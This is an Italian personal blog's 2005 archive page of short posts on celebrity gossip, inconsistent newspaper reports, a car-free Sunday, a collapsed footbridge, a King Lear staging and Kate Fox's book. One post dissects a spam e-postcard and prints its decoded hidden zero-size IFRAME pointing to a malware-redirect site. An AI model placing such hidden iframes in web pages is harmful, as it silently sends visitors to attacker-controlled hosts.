Archivi annuali: 2005

Simona Ventura

A quanto pare ieri sera la più nota chivassese è stata intervistata all’interno di Domenica In. L'”evento” è stato sottolineato da tutti e tre i quotidiani gratuiti, anche se con enfasi diversa: Metro ha glissato molto, mentre Leggo (come si poteva immaginare) e soprattutto City (e qua mi sono stupito) hanno riportato penso quasi tutto parola per parola.
Perle dell’intervista ce ne sono. Simona ringrazia Flavio Briatore che l’ha ospitata in Kenia dove è andata con 42 di febbre, temperatura che credevo non potesse essere raggiunta da un essere umano rimasto in seguito vivo: altro che farsi un volo intercontinentale… Anche la definizione data al suo ex marito, “Lo stimo come padre dei miei figli”, ha un significato che mi risulta oscuro. Conosco il significato traslato di “stimare” nel senso di “non lo voglio tra i piedi”, ma in questo caso – se non sbaglio – la frase sembra quasi voler dire “non posso sputtanarmi e dire che ho fatto due figli con uno che non vale una cicca”…
Ma il meglio credo che sia la frase, riportata verbatim dai due giornali, “Avevo ricevuto legnate a iosa, anche giornalistiche”. In italiano la congiunzione anche, quando come in questo caso non regge una concessiva, significa “persino, addirittura”. Bene. Chi ha dato legnate non giornalistiche – e a questo punto immagino reali – all’ancora formalmente signora Bettarini?

Ultimo aggiornamento: 2005-11-14 11:56

questione di dimensioni

Stamattina sia Leggo che Metro ci rendono edotti della imminente costruzione di un cimitero per animali nel Lodigiano. Non metto becco sulla logica che porta a costruirli, però mi piacerebbe sapere come mai il posto dove sorgerà è indicato rispettivamente come Villanova sul Sillaro e Caselle Laurani, e soprattutto perché la dimensione di tale cimitero da un giornale all’altro passa da 12000 a 80000 metri quadri, pur restando sempre otto volte maggiore di quella dell’attuale maggior cimitero per animali. Sapevo che quando si costruisce esistono leggi e leggine che moltiplicano l’area edificabile, ma fino a questo punto?

Ultimo aggiornamento: 2005-11-14 11:39

domenica (non esattamente) senz'auto

Ieri in teoria ci sarebbe stata la domenica senz’auto, predisposta con congruo anticipo dalla giunta regionale lombarda che infatti stamattina si complimentava da sola perché erano state emesse due tonnellate e mezzo in meno di polveri sottili.
Peccato che – nonostante quanto Repubblica voglia far credere, di auto in giro ce n’erano fin troppe: il che non è poi così incredibile, considerando che quest’anno la Regione ha deciso che le Euro 4 possono girare. Immagino che dopo tutte le pubblicità dei costruttori di automobili non abbiano avuto il coraggio di tirarsi indietro.
Il fatto è che bloccare la circolazione la domenica è assolutamente inutile per ridurre l’inquinamento, e al limite può servire per ricordare alla gente che non è obbligatorio spostarsi con l’automobile – questo almeno per le città dove comunque c’è una rete di trasporti pubblici. In questo modo si è semplicemente fatto un inutile spot a favore di chi è più ricco e può permettersi di cambiare automobile: ma se proprio lo si voleva fare, almeno si poteva immaginare di farlo durante la settimana (targhe alterne per tutti, tranne gli Euro 4). Ma ci sarebbe voluto troppo coraggio.
(non mi metto nemmeno più a scrivere le solite cose trite e ritrite: le Euro 4 hanno meno emissioni delle altre, ma non è che non inquinino; e comunque le micropolveri non solo escono soprattutto dai diesel senza filtro antiparticolato, ma sono portate in giro da tutti gli autoveicoli in movimento, senza eccezione)

Ultimo aggiornamento: 2005-11-14 10:21

grandi opere

Capisco che quel viadotto ciclopedonale sulla ferrovia fosse provvisorio, ma mi spiegate come può essere possibile che – dopo averlo montato sabato – sia crollato il lunedì mattina, bloccando tra l’altro una linea ferroviaria non esattamente di serie B?
In fin dei conti, non è che sopra ci potessero passare dei tir, o chissà cos’altro… e non mi pare che nell’astigiano ci siano stati chissà quali sommovimenti sismici e/o tempeste.

Ultimo aggiornamento: 2005-11-14 10:07

e-cartolina virale?

Tra lo spam odierno, mi è arrivato il messaggio che affermava che avevo un “Multimedia Postcards(R) Greeting” per me, con tanto di sito dove andare a scaricare (http://www.bazumcircus.it/img/news2/) e codice ( DP_42a04492060aaa46).
Per curiosità ho provato ad andare direttamente sulla homepage del sito… e Mozilla mi si è chiuso. A questo punto ho fatto quello che dovevo fare subito, vale a dire prendere Lynx: la home page mi dà (anzi mi dava, l’hanno già chiuso) una sfilza di link a siti che offrono medicinali sessuali, e terminava con un document.write scritto in esadecimale, che tradotto dà
<IFRAME SRC=”http://crunet.info/out.php?s_id=1″ WIDTH=0 BORDER=0 HEIGHT=0 style=”display:none”></IFRAME>.
crunet.info è un sito russo – o almeno scritto in russo, e quel php mi rimanda a un non meglio identificato http://195.225.177.33/0305.html; il quale però (senza ammettere cookie, ovvio) non dice molto. Zigh, una ricerchina fatta per nulla… però mi pareva più professionale del solito.
AGGIORNAMENTO:Naturalmente io sono stato così stupido da scrivere io il testo “IFRAME”. Solo che non usando internet explorer, naturalmente non mi capitava nulla, così come non è capitato nulla a chi mi legge con safari, mozilla, netscape … (o via RSS). Adesso che zop mi ha fatto notare la cosa ho scoperto la gabola (adesso la scritta non è più lanciabile, tranquilli!)

Ultimo aggiornamento: 2005-11-13 20:46

_Re Lear_ (teatro)

Quest’anno in cartellone al Piccolo ci sono due allestimenti del Re Lear. Quello della sezione Festival nel prossimo maggio sarà di una compagnia di San Pietroburgo e la rappresentazione sarà appunto in russo con sovratitoli in italiano; nulla contro di loro, ma all’idea di tre ore di spettacolo in una lingua incomprensibile abbiamo pensato bene di scegliere la versione nella nostra lingua, che resterà in scena fino al 20 novembre.
Il Re Lear è secondo me una tragedia fuori da ogni contesto storico: la si potrebbe tranquillamente riproporre ambientata al giorno d’oggi senza toccare praticamente nulla. Antonio Calenda e la compagnia del Teatro Stabile del Friuli-Venezia Giulia hanno scelto una strada molto minimalista. La scenografia è praticamente nulla, con alcune basse pedane e due scranni messi e tolti più volte nel primo atto; nel secondo non ci sono nemmeno questi accessori, ma sullo sfondo rimane l’enorme tronco già visto alla fine del primo atto, che serve anche da capanna. Anche i costumi, dopo un po’ di colore all’inizio, tendono sempre più a un grigio uniforme, come per dare più forza al testo, eliminando le sirene visive per fare riflettere sul gioco di specchi tra la pazzia simulata e quella reale, e tra la verità che si nasconde e la menzogna che si alimenta di sé stessa.
Roberto Herlitzka ha un’interpretazione forse persino un filino sopra le righe: sarò io ad essere un po’ troppo pretenzioso, ma non mi ha convinto troppo la differenza tra il lessico “alto” degli altri attori – con l’eccezione del conte di Glouchester – e il suo continuo cambiare di registro. Ultima nota di colore: ieri sera eravamo in prima fila – si vede davvero tutto! – e mi trovavo unico maschio in una compagnia di sei persone. Le altre hanno espresso un notevole apprezzamento per la bellezza degli interpreti minori, tanto da scherzare chiedendosi se non si poteva ripristinare la vecchia usanza di andare nei camerini dopo lo spettacolo…

Ultimo aggiornamento: 2005-11-11 11:33

Watching the English (libro)

[copertina]
Occhei, gli inglesi sono indubbiamente gente strana, Lo sappiamo tutti. Però che un’antropologa albionica decida di fare ricerche sul campo per scoprire “le regole nascoste del comportamento inglese” (come da sottotitolo) sembra un po’ esagerato. Eppure è quanto Kate Fox ha fatto in questo libro (Kate Fox, Watching the English, – Hoder 2004, pag. 424, Lst. 7.99, ISBN 0-340-75212-2). Probabilmente è colpa di un’infanzia passata dietro il padre, anch’egli antropologo ma più mainstream, e della scarsa voglia di andarsene chissà dove a cercare le tribù più sperdute, ammesso che ne esistano alcune. Parte così una ricerca che cerca di spiegare i comportamenti degli inglesi a partire da un piccolo numero di caratteristiche, al centro delle quali si trova la “dis-ease”, un gioco di parole tra “malattia” e “incapacità di sentirsi a proprio agio”. La Fox è ovviamente inglese anche lei, e quindi non può esimersi dal riempire il libro con il British humour (con la u: mica è americano!) e la necessità di giocare con le parole, oltre che fare notare in tutti i campi da lei trattati l’onnipresente presenza del concetto di classe. Forse un po’ troppo lungo, ma certamente godibile, ad ogni modo. Il guaio è che a leggere il libro mi sono sentito molto, molto britannico. Non so se sia un bene o un male.

Ultimo aggiornamento: 2005-11-10 12:15